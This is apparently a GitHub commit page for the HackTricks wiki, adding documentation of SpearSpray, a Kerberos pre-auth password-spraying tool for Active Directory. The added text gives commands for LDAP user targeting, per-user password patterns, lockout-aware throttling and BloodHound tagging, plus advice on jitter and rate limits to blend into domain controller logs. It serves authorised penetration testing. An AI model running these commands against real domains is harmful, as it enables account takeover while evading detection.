Skip to content

Commit dd01833

Browse files
authored
Merge pull request #1337 from HackTricks-wiki/update_SpearSpray___Pattern-driven__Kerberos-based_AD_pas_20250825_182847
SpearSpray — Pattern-driven, Kerberos-based AD password spra...
2 parents 7210f6a + 9aab3fb commit dd01833

1 file changed

Lines changed: 80 additions & 3 deletions

File tree

src/windows-hardening/active-directory-methodology/password-spraying.md

Lines changed: 80 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -109,6 +109,81 @@ Invoke-SprayEmptyPassword
109109
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
110110
```
111111

112+
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
113+
114+
Kerberos pre-auth–based spraying reduces noise vs SMB/NTLM/LDAP bind attempts and aligns better with AD lockout policies. SpearSpray couples LDAP-driven targeting, a pattern engine, and policy awareness (domain policy + PSOs + badPwdCount buffer) to spray precisely and safely. It can also tag compromised principals in Neo4j for BloodHound pathing.
115+
116+
Key ideas:
117+
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
118+
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
119+
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
120+
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
121+
- Throughput control with threads, jitter, and max requests per second.
122+
- Optional Neo4j integration to mark owned users for BloodHound.
123+
124+
Basic usage and discovery:
125+
126+
```bash
127+
# List available pattern variables
128+
spearspray -l
129+
130+
# Basic run (LDAP bind over TCP/389)
131+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
132+
133+
# LDAPS (TCP/636)
134+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
135+
```
136+
137+
Targeting and pattern control:
138+
139+
```bash
140+
# Custom LDAP filter (e.g., target specific OU/attributes)
141+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
142+
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
143+
144+
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
145+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
146+
```
147+
148+
Stealth and safety controls:
149+
150+
```bash
151+
# Control concurrency, add jitter, and cap request rate
152+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
153+
154+
# Leave N attempts in reserve before lockout (default threshold: 2)
155+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
156+
```
157+
158+
Neo4j/BloodHound enrichment:
159+
160+
```bash
161+
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
162+
```
163+
164+
Pattern system overview (patterns.txt):
165+
166+
```text
167+
# Example templates consuming per-user attributes and temporal context
168+
{name}{separator}{year}{suffix}
169+
{month_en}{separator}{short_year}{suffix}
170+
{season_en}{separator}{year}{suffix}
171+
{samaccountname}
172+
{extra}{separator}{year}{suffix}
173+
```
174+
175+
Available variables include:
176+
- {name}, {samaccountname}
177+
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
178+
- Composition helpers and org token: {separator}, {suffix}, {extra}
179+
180+
Operational notes:
181+
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
182+
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
183+
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
184+
185+
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
186+
112187
## Outlook Web Access
113188

114189
There are multiples tools for p**assword spraying outlook**.
@@ -142,13 +217,15 @@ To use any of these tools, you need a user list and a password / a small list of
142217

143218
## References
144219

220+
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
221+
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
222+
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
223+
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
224+
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
145225
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
146226
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
147227
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
148228
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
149229

150230

151231
{{#include ../../banners/hacktricks-training.md}}
152-
153-
154-

0 commit comments

Comments
 (0)